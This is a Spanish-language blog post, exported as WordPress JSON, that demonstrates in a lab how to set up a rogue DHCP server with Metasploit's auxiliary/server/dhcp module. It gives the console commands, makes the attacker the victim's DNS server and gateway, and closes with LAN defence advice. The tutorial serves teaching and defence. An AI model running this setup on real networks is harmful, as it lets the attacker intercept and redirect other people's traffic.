{"id":517,"date":"2019-02-03T23:24:22","date_gmt":"2019-02-03T22:24:22","guid":{"rendered":"https:\/\/tiraquelibras.com\/blog\/?p=517"},"modified":"2019-12-26T17:00:43","modified_gmt":"2019-12-26T16:00:43","slug":"servidor-dhcp-falso-con-metasploit","status":"publish","type":"post","link":"https:\/\/blog.tiraquelibras.com\/?p=517","title":{"rendered":"Servidor DHCP falso con Metasploit"},"content":{"rendered":"<p><span style=\"color: #ff0000;\"><strong>Esta entrada ha sido creada \u00fanicamente con fines educativos, nunca para su uso il\u00edcito. Se pretende explicar el funcionamiento de ataques contra una red de \u00e1rea local usando un servidor DHCP falso.<\/strong><\/span><\/p>\n<p>En una entrada anterior explic\u00e1bamos lo que es un servidor <em><strong>DHCP<\/strong><\/em>\u00a0y el funcionamiento del protocolo para la asignaci\u00f3n de direcciones din\u00e1micas, para leerlo pincha <a href=\"https:\/\/blog.tiraquelibras.com\/?p=491\" target=\"_blank\" rel=\"noopener noreferrer nofollow\" class=\"external external_icon\">aqu\u00ed<\/a>.<\/p>\n<p>En esta entrada vamos a ver como realizar un ataque sobre una red de \u00e1rea local (<em><strong>LAN<\/strong><\/em><strong>)<\/strong>\u00a0levantando un servidor <em><strong>DHCP<\/strong> <strong>falso<\/strong> <\/em>con <em><strong>Metasploit Framework<\/strong><\/em> y ofreciendo <em><strong>IPs<\/strong> <\/em>de un rango determinado para poder acotar las direcciones IP a las que realizar cualquier actividad de seguridad, por ejemplo en busca de vulnerabilidades.<\/p>\n<p>Estas direcciones IP ser\u00e1n ofrecidas tanto a los equipos que soliciten una IP por primera vez como a los que negocien su renovaci\u00f3n.<\/p>\n<p>Vamos al l\u00edo!!!<\/p>\n<hr \/>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_76 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Tabla de contenidos<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-6a00aa0f75670\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6a00aa0f75670\"  aria-label=\"Alternar\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-1 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=517\/#INTRO\"  rel=\"nofollow\" target=\"_blank\">INTRO<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-2 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=517\/#ENTORNO\"  rel=\"nofollow\" target=\"_blank\">ENTORNO<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-3 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=517\/#ATAQUE\"  rel=\"nofollow\" target=\"_blank\">ATAQUE<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=517\/#Inicio_DHCP_falso\"  rel=\"nofollow\" target=\"_blank\">Inicio DHCP falso<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=517\/#Solicitud_de_IP_victima\"  rel=\"nofollow\" target=\"_blank\">Solicitud de IP v\u00edctima<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-6 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=517\/#CONCLUSION\"  rel=\"nofollow\" target=\"_blank\">CONCLUSI\u00d3N<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-7 external external_icon\" href=\"https:\/\/blog.tiraquelibras.com\/?p=517\/#ENLACES\"  rel=\"nofollow\" target=\"_blank\">ENLACES<\/a><\/li><\/ul><\/nav><\/div>\n<h1><span class=\"ez-toc-section\" id=\"INTRO\"><\/span>INTRO<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>Vamos a realizar un ataque dentro de una <em><strong>LAN<\/strong> <\/em>levantando un servidor <em><strong>DHCP<\/strong> <\/em>falso con <em><strong>Metasploit Framework<\/strong><\/em>\u00a0y un <em><strong>payload<\/strong> <\/em>espec\u00edfico para este tipo de ataques, que nos permita acotar las direcciones IP sobre las que realizar actividades de seguridad.<\/p>\n<hr \/>\n<h1><span class=\"ez-toc-section\" id=\"ENTORNO\"><\/span>ENTORNO<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>El entorno que vamos a utilizar es el siguiente:<\/p>\n<ul>\n<li>Red de \u00e1rea local (LAN).<\/li>\n<li>Router\/GW con servidor DHCP incorporado.<\/li>\n<li>Host atacante con Parrot instalado.<\/li>\n<li>Host v\u00edctima con Ubuntu instalado.<\/li>\n<\/ul>\n<p><a href=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/DHCP-falso.jpg\" class=\"external\" rel=\"nofollow\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-519 size-full\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/DHCP-falso.jpg\" alt=\"\" width=\"481\" height=\"261\" \/><\/a><\/p>\n<hr \/>\n<h1><span class=\"ez-toc-section\" id=\"ATAQUE\"><\/span>ATAQUE<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>Primero vamos a levantar el servidor <em><strong>DHCP<\/strong><\/em>\u00a0falso y luego reiniciamos la interfaz de red de la v\u00edctima, la cual tiene la siguiente IP asignada en estos momentos:<\/p>\n<p><a href=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/IP-inicial.jpg\" class=\"external\" rel=\"nofollow\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-520 size-full\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/IP-inicial.jpg\" alt=\"\" width=\"668\" height=\"166\" \/><\/a><\/p>\n<p>Y la IP del host atacante que tiene asignada y que usaremos para la configuraci\u00f3n del ataque:<\/p>\n<p><a href=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/IP-atacante.jpg\" class=\"external\" rel=\"nofollow\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-521 size-full\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/IP-atacante.jpg\" alt=\"\" width=\"820\" height=\"230\" \/><\/a><\/p>\n<h2><\/h2>\n<h2><span class=\"ez-toc-section\" id=\"Inicio_DHCP_falso\"><\/span>Inicio DHCP falso<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Primero debemos de arrancar el motor de base de datos <em><strong>postresql<\/strong> <\/em>para su uso con <em><strong>Metasploit<\/strong><\/em>.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">\u250c\u2500[root@parrot]\u2500[\/]\r\n\u2514\u2500\u2500\u257c #service postgresql start\r\n\u250c\u2500[root@parrot]\u2500[\/]\r\n\u2514\u2500\u2500\u257c #service postgresql status\r\n\u25cf postgresql.service - PostgreSQL RDBMS\r\n   Loaded: loaded (\/lib\/systemd\/system\/postgresql.service; disabled; vendor pres\r\n   Active: active (exited) since Sun 2019-02-03 21:35:40 CET; 2min 30s ago\r\n  Process: 1591 ExecStart=\/bin\/true (code=exited, status=0\/SUCCESS)\r\n Main PID: 1591 (code=exited, status=0\/SUCCESS)\r\n\r\nfeb 03 21:35:40 parrot systemd[1]: Starting PostgreSQL RDBMS...\r\nfeb 03 21:35:40 parrot systemd[1]: Started PostgreSQL RDBMS.\r\n<\/pre>\n<p>Posteriormente iniciamos la consola de <em><strong>Metasploit Framework<\/strong><\/em>.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">\u250c\u2500[root@parrot]\u2500[\/]\r\n\u2514\u2500\u2500\u257c #msfconsole\r\n\r\n                        (`.         ,-,\r\n                        ` `.    ,;' \/\r\n                         `.  ,'\/ .'\r\n                          `. X \/.'\r\n                .-;--''--.._` ` (\r\n              .'            \/   `\r\n             ,           ` '   Q '\r\n             ,         ,   `._    \\\r\n          ,.|         '     `-.;_'\r\n          :  . `  ;    `  ` --,.._;\r\n           ' `    ,   )   .'\r\n              `._ ,  '   \/_\r\n                 ; ,''-,;' ``-\r\n                  ``-..__``--`\r\n\r\n                             https:\/\/metasploit.com\r\n\r\n\r\n       =[ metasploit v4.17.25-dev                         ]\r\n+ -- --=[ 1828 exploits - 1033 auxiliary - 318 post       ]\r\n+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]\r\n+ -- --=[ Free Metasploit Pro trial: http:\/\/r-7.co\/trymsp ]\r\n\r\nmsf &gt;<\/pre>\n<p>Una vez arrancado cargamos el payload <em><strong>auxiliary\/server\/dhcp<\/strong> <\/em>en la consola de <em><strong>MSF<\/strong><\/em>.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">msf &gt; use auxiliary\/server\/dhcp\r\nmsf auxiliary(server\/dhcp) &gt; \r\n<\/pre>\n<p>Vemos las opciones cargadas por defecto, las cuales l\u00f3gicamente estar\u00e1n vac\u00edas .<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">msf auxiliary(server\/dhcp) &gt; show options \r\n\r\nModule options (auxiliary\/server\/dhcp):\r\n\r\n   Name         Current Setting  Required  Description\r\n   ----         ---------------  --------  -----------\r\n   BROADCAST                     no        The broadcast address to send to\r\n   DHCPIPEND                     no        The last IP to give out\r\n   DHCPIPSTART                   no        The first IP to give out\r\n   DNSSERVER                     no        The DNS server IP address\r\n   DOMAINNAME                    no        The optional domain name to assign\r\n   FILENAME                      no        The optional filename of a tftp boot server\r\n   HOSTNAME                      no        The optional hostname to assign\r\n   HOSTSTART                     no        The optional host integer counter\r\n   NETMASK                       yes       The netmask of the local subnet\r\n   ROUTER                        no        The router IP address\r\n   SRVHOST                       yes       The IP of the DHCP server\r\n\r\n\r\nAuxiliary action:\r\n\r\n   Name     Description\r\n   ----     -----------\r\n   Service  \r\n<\/pre>\n<p>Cargamos las opciones con la configuraci\u00f3n que queremos aplicar, como el rango de IPs a servir desde el servidor DHCP, servidor DNS, Gateway, &#8230; que ser\u00e1 siempre el host atacante.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">msf auxiliary(server\/dhcp) &gt; set DHCPIPSTART 192.168.0.200\r\nDHCPIPSTART =&gt; 192.168.0.200\r\nmsf auxiliary(server\/dhcp) &gt; set DHCPIPEND 192.168.0.203\r\nDHCPIPEND =&gt; 192.168.0.203\r\nmsf auxiliary(server\/dhcp) &gt; set DNSSERVER 192.168.0.23\r\nDNSSERVER =&gt; 192.168.0.23\r\nmsf auxiliary(server\/dhcp) &gt; set NETMASK 255.255.255.0\r\nNETMASK =&gt; 255.255.255.0\r\nmsf auxiliary(server\/dhcp) &gt; set ROUTER 192.168.0.23\r\nROUTER =&gt; 192.168.0.23\r\nmsf auxiliary(server\/dhcp) &gt; set SRVHOST 192.168.0.23\r\nSRVHOST =&gt; 192.168.0.23\r\n<\/pre>\n<p>Confirmamos la configuraci\u00f3n cargada.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">msf auxiliary(server\/dhcp) &gt; show options \r\n\r\nModule options (auxiliary\/server\/dhcp):\r\n\r\n   Name         Current Setting  Required  Description\r\n   ----         ---------------  --------  -----------\r\n   BROADCAST                     no        The broadcast address to send to\r\n   DHCPIPEND    192.168.0.203    no        The last IP to give out\r\n   DHCPIPSTART  192.168.0.200    no        The first IP to give out\r\n   DNSSERVER    192.168.0.23     no        The DNS server IP address\r\n   DOMAINNAME                    no        The optional domain name to assign\r\n   FILENAME                      no        The optional filename of a tftp boot server\r\n   HOSTNAME                      no        The optional hostname to assign\r\n   HOSTSTART                     no        The optional host integer counter\r\n   NETMASK      255.255.255.0    yes       The netmask of the local subnet\r\n   ROUTER       192.168.0.23     no        The router IP address\r\n   SRVHOST      192.168.0.23     yes       The IP of the DHCP server\r\n\r\n\r\nAuxiliary action:\r\n\r\n   Name     Description\r\n   ----     -----------\r\n   Service  \r\n<\/pre>\n<p>Arrancamos el programa <em><strong>Wireshark<\/strong> <\/em>para ver los paquetes <em><strong>DHCP<\/strong><\/em> que el servidor atacante va a enviar, aplicando el filtro <em><strong>bootp<\/strong><\/em>.<\/p>\n<p><a href=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/wireshark-inicio.jpg\" class=\"external\" rel=\"nofollow\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-522 size-full\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/wireshark-inicio.jpg\" alt=\"\" width=\"540\" height=\"207\" \/><\/a>Ahora arrancamos el servidor <em><strong>DHCP<\/strong> <\/em>falso.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">msf auxiliary(server\/dhcp) &gt; run\r\n[*] Auxiliary module running as background job 0.\r\nmsf auxiliary(server\/dhcp) &gt; \r\n[*] Starting DHCP server...\r\n\r\n<\/pre>\n<p>En estos momentos el servidor atacante enviar\u00e1 <em><strong>DHCP ACK<\/strong> <\/em>por <em><strong>broadcast<\/strong> <\/em>a toda la red, con el fin de que cualquier petici\u00f3n DHCP le llegue a este y no al <em><strong>GW<\/strong> <\/em>original.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Solicitud_de_IP_victima\"><\/span>Solicitud de IP v\u00edctima<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Reiniciamos la interfaz de red del host v\u00edctima y observamos como la IP que se le asigna corresponde al rango que configuramos en el servidor atacante. Lo mismo ocurrir\u00eda si reiniciamos o arrancamos el servidor sin una IP previamente asignada.<\/p>\n<p><em><strong><a href=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/IP-final.jpg\" class=\"external\" rel=\"nofollow\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-523 size-full\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/IP-final.jpg\" alt=\"\" width=\"686\" height=\"203\" \/><\/a><\/strong><\/em><\/p>\n<p>En la consola de <em><strong>Wireshark<\/strong> <\/em>observamos como las <em><strong>peticiones<\/strong> <strong>DHCP<\/strong> <\/em>que se lanzan por <em><strong>broadcast<\/strong> <\/em>son enviadas por el host atacante.<\/p>\n<p><a href=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/DHCP-broadcast.jpg\" class=\"external\" rel=\"nofollow\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-524 size-full\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/DHCP-broadcast.jpg\" alt=\"\" width=\"678\" height=\"198\" \/><\/a><\/p>\n<p>Y a la vez comprobamos como la <em><strong>MAC<\/strong> <\/em>del equipo que est\u00e1 ofreciendo las direcciones din\u00e1micas corresponde con la del host atacante.<\/p>\n<p><a href=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/MAC.jpg\" class=\"external\" rel=\"nofollow\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-525 size-full\" src=\"https:\/\/blog.tiraquelibras.com\/wp-content\/uploads\/2019\/02\/MAC.jpg\" alt=\"\" width=\"696\" height=\"88\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<h1><span class=\"ez-toc-section\" id=\"CONCLUSION\"><\/span>CONCLUSI\u00d3N<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>Debemos de tener mucho cuidado con la seguridad en nuestras redes <em><strong>LAN<\/strong> <\/em>para evitar que un atacante acceda y pueda realizar actividades, como la expuesta en esta entrada. Tambi\u00e9n debemos de tener bajo control cualquier usuario y equipo que pueda estar conectado a nuestra red, para identificar posibles intrusos.<\/p>\n<p>Para ello debemos de aplicar medidas de protecci\u00f3n tanto en la red Wifi como cableada, agregando mecanismos de control de acceso por <em><strong>MAC<\/strong><\/em>, fortalecer las contrase\u00f1as con pol\u00edticas m\u00e1s seguras y robustas, o simplemente llevar un control de qu\u00e9 equipos hay conectados en cada momento.<\/p>\n<hr \/>\n<h1><span class=\"ez-toc-section\" id=\"ENLACES\"><\/span>ENLACES<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>Metasploit Wikipedia, pincha <a href=\"https:\/\/es.wikipedia.org\/wiki\/Metasploit\" target=\"_blank\" rel=\"noopener noreferrer nofollow\" class=\"external external_icon\">aqu\u00ed<\/a>.<\/p>\n<p>Metasploit oficial, pincha <a href=\"https:\/\/www.metasploit.com\/\" target=\"_blank\" rel=\"noopener noreferrer nofollow\" class=\"external external_icon\">aqu\u00ed<\/a>.<\/p>\n<p>Wireshark, pincha <a href=\"https:\/\/www.wireshark.org\/\" target=\"_blank\" rel=\"noopener noreferrer nofollow\" class=\"external external_icon\">aqu\u00ed<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Esta entrada ha sido creada \u00fanicamente con fines educativos, nunca para su uso il\u00edcito. Se pretende explicar el funcionamiento de ataques contra una red de<span class=\"read-more-link\"><a class=\"read-more\" href=\"https:\/\/blog.tiraquelibras.com\/?p=517\">Read More<\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":518,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[38,41],"class_list":["post-517","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ciberseguridad","tag-dhcp","tag-falso"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/posts\/517","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=517"}],"version-history":[{"count":0,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/posts\/517\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=\/wp\/v2\/media\/518"}],"wp:attachment":[{"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=517"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=517"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.tiraquelibras.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=517"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}